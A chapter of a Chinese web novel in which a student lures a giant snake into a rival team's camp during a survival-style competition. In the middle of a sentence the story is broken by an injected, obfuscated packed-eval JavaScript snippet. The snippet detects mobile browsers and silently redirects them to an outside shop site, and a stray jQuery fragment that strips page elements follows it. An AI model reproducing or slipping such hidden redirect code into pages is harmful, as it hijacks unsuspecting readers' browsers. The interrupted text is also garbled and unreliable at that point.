左脚后退一步做出准备迎战的姿势,闻柳锐利的视线紧紧盯着那发出声音的隐秘角落,手指赫然已经扶上了腰间的枪械。
而他身后的卷发男见状脸上也露出同样凝重的表情,立刻从地上爬了起来,拿起摆在手旁的武器,紧跟在闻柳后面。
乳白的月光被密林叶片造就的庞大穹顶遮挡在外面,这片漆黑的营地中只有篝火的红光照亮他们面前小小的视野,这也愈发显出那伸手不见五指远处的可怖。
而响动还在继续,并且随着时间的推移,变得越来越频繁。
深吸一口气,脑海中闪过无数种可能,闻柳双唇紧闭,决定先下手为强。
不顾他身后卷发男吃惊的眼神,闻柳将枪械放在胸前戒备,迈开步子,小心翼翼的走向那团灌木丛。
他随意捡起脚边的树枝,手指无意识的摩挲着上面起伏的纹理,然后眼神一凝,似乎是下定了决心,弓着腰毅然将其投到灌木丛后。
“啪嗒。”
随着树枝落地的声音响起,灌木丛中突然跃出一个黑色的小小身影。
不假思索的,闻柳和卷发男纷纷扣动扳机,手上的子弹像离弦的箭一样射出,顺利的击中那个物体。
在发现对方没有动静后,闻柳又以防万一的补了几枪,这才上前去查看情况。
而卷发男就在保持着安全距离的不远处默默看着,直接目睹了闻柳谨慎的表情在发现任务目标的那一刻,瞳孔骤然放大,变得像吃了黄连一样难看的样子。
心下自觉奇怪,于是卷发男大着胆子凑上前去。
而才刚看到那个东西的尸体,他眼角就猛的一抽,下意识的大叫起来:“什么?就是只兔子啊?”
一回过神来,卷发男就用鄙夷的眼神上下打量着闻柳,他摸了摸下巴,啧啧的感叹道:“闻柳啊,知道你是上过战场,见过大世面的人。但是也不用这么草木皆兵啊,还是说你是真刀真枪的见多了,来找个兔子寻寻开心。你也该听听姜荣说的,少这么疑神疑鬼,这样会变得受欢迎很多的。”
紧绷的心弦骤然变得松弛,卷发男又打了个哈欠,看了看智脑上的时间,他眼神轻蔑,略带讽刺的拍了拍闻柳的肩膀,说道:“快到交班时间了,你也早点回去休息,免得老眼昏花,连只兔子都认不出。”
身旁的卷发男已经离开,拎着那只鲜血淋漓的兔子尸体,闻柳依旧能感受到后背渗出的潮湿汗液,他还是不敢相信面前这荒唐的一幕。
因为自从刚刚听到响动的那一刻,他的汗毛就开始直立,像是下意识在警告他有棘手的危险出现。而在此之前,他的预警几乎从未出过错误,没道理这一次会把兔子当成威胁。
一个人独自站在空荡的房屋平地中间,就连温暖的火光也避开他的身影,闻柳就像个被世界抛弃的人,看着手中的兔子,下意识喃喃自语道:“不对,肯定有什么问题。”
距离闻柳十步之远的树顶上,阮醉眠就隐藏在此处静静的看着眼前这一幕。
作为一切事情的罪魁祸首,她最清楚闻柳其实一点都没感觉错了。
实际上,她刚刚已经将赤澜蛇引到了日耀营地的附近,刚刚巨大的响动正是蛇尾拖动在地上摩擦形成的。而现在响动的停下,也是阮醉眠用药物将其药倒在地的结果。
那为什么不选择现在动手?
阮醉眠只是在等待一个最好的时机,一个夜深人静,大家都放松了心绪,最好趁虚而入,大闹一场的时机。
这么想着,手指无意识的摩挲着剑把上的细密花纹,阮醉眠抿了抿唇,就凭这敏锐的危机意识,闻柳就值得坐上她要对付的人的第一把交椅。
看着闻柳倔强的拒绝了卷毛男一起打会儿瞌睡的邀请,然后一个人默默坐在角落里,阮醉眠突然想起和对方在赛前放下的狠话,恶趣味的勾了勾唇角,几乎迫不及待的想要看到对方狼狈的场景了。
已经过了子夜,除了闻柳外,其余守夜的人都已经昏昏沉沉的闭上了眼,头一点一点的打着瞌睡。
动了动已经被冷风吹的发僵的手指,阮醉眠满意的看着面前这幅宁静安详的场景,缓缓在树上直起身来。她知道,时间差不多了。
身手敏捷的避开倒挂着的蝙蝠,阮醉眠灵活的穿梭在盘根交错的树顶,然后身子一甩,稳稳落在一棵高大的柏木树上。
居高临下的盯着面前盘踞在树下的赤澜蛇,阮醉眠将腰侧的小袋子打开,掏出一瓶还剩下2/3的绿色粉末,将其中的一半撒到巨蛇身上。
而好巧不巧,有一搓绿色正好落到了它半吐在嘴边的鲜红子上。只见原本安详的趴在自己尾巴上的赤澜蛇突然像应激似的抬起自己巨大的脑门,缝状的竖瞳骤然变成一条直线。
“碰!碰!碰!”
有力的火焰色巨尾被赤澜蛇像发了狂似的奋力甩动到空中,将四周千年古木坚韧的树皮都鞭笞出一道道至少有五寸深的痕迹。
在发泄过后,坚韧的尾巴毫无节奏拍打着地面,似乎在传达主人焦躁的心情,赤澜蛇伸长它的信子,似乎在寻觅这股味道的来源。
而身下树木的剧烈摇晃才刚停下来,发现赤澜蛇在寻找自己的位置,阮醉眠并未露出惊恐的神色,反而眼里闪过一丝兴奋的腥红。
她刻意没将手中粉末的盖子盖上,就这样举着瓶子,在密林里快速的穿梭,身后还跟着一条穷追不舍的巨大蟒蛇。
将轻功用到了极致,阮醉眠才堪堪和赤澜蛇拉出一道不小的距离,看着不远处营地上燃起的火光,她心下已经有了成算。
于是几乎没有回避的,阮醉眠脸上还带着一抹肆意的微笑,她稳稳从树上落下,降落在坐在火堆旁,还在守夜的闻柳身边。
余光瞥见一旁突然出现的人影,闻柳下意识举起手枪,在发现是自己认识的阮醉眠后,他才疑惑的放下枪,状况外的问道:“你怎么?”
并没有回答对方的问题,阮醉眠反而笑容愈加灿烂,她直接将攥在手中的药粉劈头盖脸的泼向闻柳,还调皮的眨眨眼,意有所指的说道:“我的手很稳,一滴都没有撒,记得给五星好评。”
被粉末呛到的闻柳一只眼睛半闭着盯着面前的阮醉眠,还难受的咳嗽几声,下意识伸出左手就想去抓她,大脑似乎还没有转过弯。
但阮醉眠也没给他缓冲的时间,灵巧的往后一退,避开了对方的手,拔腿就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295274|149215||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跑。
而几乎是她刚一离开日耀的营地,后脚比之前还要大上许多的声响又重新降临了。
感受到脚下大地微微的震颤,顾不上去追阮醉眠,闻柳立刻将身边守夜的同伴推醒。
“有危险,快别睡了,起来备战!”
迷迷糊糊的揉着惺忪的眼睛,卷毛男翻了个身背过闻柳,脑子还没清醒,嘴巴已经骂骂咧咧的开口了。“要看兔子你自己去看,我要睡觉。”
“这次真的不是!”有些无力的吐出一句话,闻柳还未来得及做出更多解释,地面就开始愈发剧烈的震动起来。
闻柳下意识看向震动来源的方向。
只见一条足足有五层楼那么高的火焰色蟒蛇被一棵倾倒的巨大古木横栏在身后,闻柳内心大惊,猛的跨步上前,下意识掏出手枪对它进行射击。
可那一发发威力极大的子弹打在赤澜蛇那如火玉般剔透的鳞片上,居然连裂缝都没出现一道。
看着面前渐渐逼近的身影,闻柳当机立断做出了眼下最能保存力量的决定,拔下插在土地中央的校旗后,他立刻跑回营地将沉睡的学生一一叫醒。
赤澜蛇的信子一甩一甩的,似乎在探测气息最浓郁的地方,所以很快它就来到了闻柳和阮醉眠刚刚见面的地方。
尾巴像在寻找什么似的,在地面上肆无忌惮的扫荡着,很快就摸索到了卷毛男侧躺的位置。
而卷毛男似乎还以为是闻柳在捉弄他,重重伸手想将搭在他身上的蛇尾扫开,嘴里还喃喃道:“告诉你了,我是不会去的。”
只是他用力推了半天,却怎么也推不动盖在身上这冷冰冰的东西。脸上划过一丝惊诧,这时卷毛男才后知后觉的发现似乎闻柳已经好半天没再出声了。
有些惶恐的,卷毛男扭过头小心翼翼的从指缝间窥探外面的情况,却立刻撞上一只巨大的金黄竖瞳。
他一下就呆了,想要攻击对方,却发现双手像被鬼掐住一样,只是一个劲的冒冷汗,却怎么也动不了;想逃跑,他的身体却被牢牢的压住。
而赤澜蛇似乎此时也察觉到了眼前这个物体只是碰巧沾染上它在寻找的气味,于是它尾巴一卷,张开血盆大口,直接将挡了自己路的卷毛男吞吃入腹,还满足的用信子舔了舔嘴。
闻柳通知完大家快速撤离后再回到现场时,看到的就是眼前这可怕的一幕。
与此同时,每个人智脑上绑定的比赛系统终于响起了开赛以来的第一声通知“日耀龙山淘汰,恭喜夜辉方面阮醉眠拿下第一滴血。请各位继续努力,淘汰对手数量最多的比赛选手将成为本次友谊赛的mvp。”
脑筋一转,闻柳迅速意识到了刚刚阮醉眠出现在这里的原因,也推测出了对方肯定在附近做了些手脚,他咬了咬牙看着还在消化龙山的赤澜蛇,毅然的发出了指令:“放弃这个营地,大家先分散行动。”
高悬在空中的满月见证着夜辉方面首战的告捷,在绝对的力量压制下,日耀营地就如同被洪水侵袭过的蚁巢,变得空空如也。
站在不远处的树杈上,阮醉眠静静注视着站在队伍前指挥的闻柳,准确是他腰间的校旗,轻盈一跃,又跟了上去。